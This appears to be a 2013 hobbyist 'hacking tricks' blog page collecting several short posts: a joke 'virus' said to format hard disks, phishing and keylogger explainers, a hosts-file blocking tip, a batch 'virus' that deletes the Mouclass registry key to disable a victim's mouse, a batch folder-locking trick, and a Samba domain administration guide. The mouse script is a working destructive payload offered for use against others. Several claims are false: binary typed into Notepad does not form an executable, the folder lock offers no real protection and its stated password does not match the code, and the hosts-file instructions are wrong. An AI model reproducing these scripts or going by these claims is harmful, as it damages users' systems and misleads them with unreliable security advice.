Sunday, September 29, 2013

Virus to Format Hard Disk !!!

Virus to Format Hard Disk !!!


                     Today i will show you how to make a virus to format Hard disk. You can send this file to your friend or enemy to format their Hard disk. But please dont try this on your own computer or else you will end up formatting your own computer.
  • Copy the below codes into Notepad.
01001011000111110010010101010101010000011111100000 
  • Save the file as Format.exe
  • You have created your virus. Enjoy !!! 

What is phishing?

What is phishing and how to be safe from phishing ?



    What is Phishing ?

                    Phishing is one of the type of hacking . It is a method of acquiring sensitive information such as username, password, bank information etc. Phishing page could be saif as an duplicate page of real one. Its look exactly similar as the real page.But when user enter sensitive information on such phishing page his information is send to the E-mail address provided in the phishing page or you can say the one who created that phishing page. Phishing page is mostly send via mail. Target of phishing are mostly social networking sites like facebook, orkut etc. Also Banks website to acquire credit card details,website like yahoo, gmail are also target of phishing.



    Example of Phishing scams:
  • Email asking you to login to your locked account to unlock it.
  • Email carrying a Link to sites like Facebook,yahoo etc and asking you to Login.
  • Emails containing some Information of your Interest and asking you to Login to Your Account.
   
     How to be safe from phishing ?
  • Never login to any of your account through link provided in the Email.
  • Go to real website dont click on any link posted anywhere. such as link posted on your facebook wall by friend or link provided in comments or link to ceratin website on any blog.
  • Check the URL of website before entering any sensitive information. Because the URL of phishing page is not same as the URL of  real one.
  • Real gmail page looks like gmail.com while phishing looks different somthing like gmail.anything.com

What Is Keylogger ?

What Is Keylogger And How To Be Safe From Keyloggers?


keyloggers
In this tutorial i am going to talk about the most use piece of software besides from RAT by hackers to observe your activities on your computer and that is keyloggers. A keylogger is a software or hardware device which monitors each and every key typed by you on your keyboard. I am going to talk about different types of keylogger and how to be safe from keyloggers. So lets learn somthing about keyloggers.

 1. What is keylogger ?

You might have heard about keyloggers but really dont know what they are reading this article will clear your mind. A keylogger also know as keystroke logger is software or hardware device which monitors each and every key typed by you on your keyboard. You can not identify the presence of keylogger on your computer since it runs in background and also it is not listed in task manager or control panel. It can be used by parents to keep eye on their childrens or company owner to spy on their employes.

2. How it can harm you ?

In this section i will talk about how keylogger can harm you in different ways for example It can be used by your enemy or friend to get sensitive information such as your username and password, Bank credit card details, or any other activities you do on your computer.
  • Example: You login in to your Facebook account from a computer in which keylogger is install then your username and password will be captured.

3. Types of  keyloggers 

There are two types of keylogger hardware keylogger and software keylogger. Software keylogger is install in your computer where as a Hardware keylogger is attached to your keyboard. Looking at below images will clear your mind.

                              HARDWARE KEYLOGGER                                  
hardware keyloggers 

 SOFTWARE KEYLOGGER
 software keyloggers
                               

 4. How to Protect yourself from keyloggers ?

Keylogger  can be used by your enemy  to get sensitive information such as your Bank credit card details, or password of any social networking sites etc. In order to be safe keep following points in your mind.
  • Never use your online banking from cyber cafe. If you want to use then you can try this method. open notepad and type anything Then copy and paste each word that comes in your username or password.
  • You can even use above method to protect your facebook profile, yahoo or gmail id.
  • When you enter cyber cafe make sure that no hardware device is attached to keyboard wire. Its look something similar to above image.

How to block unblock websites ?

How to block unblock websites ?


  • Go to Start and then Run.
  • Type in this C:\WINDOWS\system32\drivers\etc
  • Now you will see file name Host open that in Notepad.
  • Below "127.0.0.1 localhost" add IP address of site to be blocked.
  • To unblock any site just reversed the process.
     
      EXAMPLE
     127.0.0.1 localhost
     69.171.224.14    (This will block Facebook)
     NOTE: For each site you block just add "1" to the IP (127.0.0.1)

Make a virus that disable Mouse

Make a virus that disable Mouse



               I had previously posted on making different batch files like matrix effect, opening no of websites with one click which were interesting and completely harmless but today we will be making a batch virus which is harmfull it will disable your mouse so think before trying it on yourself.
  • Open Notepad and copy below codes
rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------
  • Save this file as  virus.bat
  • Done you just created your virus.

Password Protect Any Folder

Password Protect Any Folder Without Any Software


In my previous post i have teach you to hide files behind images. In this tutorial i will show you interesting and usefull trick to password protect folder without using any software using batch file programming. This trick will work on all windows platform (Win XP, Win 7). Follow below tutorial to learn this trick.

How To Lock Folder ?

   1. Open Notepad and Copy code given below into it.
cls
@ECHO OFF
title folder lock
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST MyFolder goto MDMyFolder
:CONFIRM
echo Are you sure to lock this folder? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren MyFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock Your Secure Folder
set/p "pass=>"
if NOT %pass%== venki goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" MyFolder
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDMyFolder
md MyFolder
echo MyFolder created successfully
goto End
:End
   2. Save the notepad file as lock.bat (.bat is must)
   3. Now double click on lock.bat and a new folder will be created with name MyFolder
   4. Copy all your data you want to protect in that New folder
   5. Now double click on lock.bat and when command promp appears Type Y and press enter.
   6. Now MyFolder will be hidden from you view, to access that folde double click on lock.bat
   7. It will ask for password enter your password and done. (Default password is coolhacks)
  • To change the password replace coolhacks with  new password in the above code

How To Further Secure ?

You might be thinking that anyone can access the password by opening that lock.bat file in Notepad or any other text editor. To make it more secure hide lock.bat in some secure location after following the above tutorial To access the secured file double click on lock.bat. I would suggest copying lock.bat file into Pendrive and copying it into your computer whenever you required to access to your protected files.

Wednesday, September 25, 2013

Administrators of a Samba Domain

How to create administrators of a samba domain








With a Samba server, we can make a DC (Domain Controler). Simplifying the meaning of DC, it’s a server where will be stored accounts for the network users. The Samba, is based on the Windows NT and because this, it has many features  of the NT server.

One of these features, is groups of users. The main groups of a NT domain are the following ones:

Nt Group
Description
RID (Relative Identifier)
Domain AdminsDomain administrators512
Domain UsersDomain Users513

When a computer join the domain, it’s created these ( and others ) groups. This make the users of these groups have the same privileges as in the domain. But in the Linux, no one of these groups have a corresponding until you say so. To do so,  you need specify which groups of the  Linux represent the NT groups (Samba).

All we need to do in is create groups to be maped with their respectives on the samba. We will create the groups “ntadmin” and “ntuser“.
groupadd ntadmin
groupadd ntuser

Now we need map these groups in the Samba. To do this, we will use the comand “net“.

net groupmap add ntgroup=”Domain Admins” unixgroup=ntadmin rid=512 type=d comment=”Administradores”
net groupmap add ntgroup=”Domain Users” unixgroup=ntuser rid=513 type=d comment=”Usuários”

We can create now, new users and add them in that group. This is done passing the -g parameter with “useradd“.
useradd -g group userr
Example: useradd -g ntadmin trufelli

If the user already exist, we can change the primary group with the command “usermod” and we need change this user group in samba with the “pdbeit“, we will specify the group in samba with theRID of the group.

usermod -g group user
Example: usermod -g ntadmin trufelli
pdbedit -r -G Group_RID -u User
Example: pdbedit -r -G 512 -u trufelli

All admin users will have access to all shares with admin privileges. To change this, we can add the following options in the share configs:
invalid users =  @ntadmin

With this parameter, any member of the group “ntadmin“  couldn’t access to that share.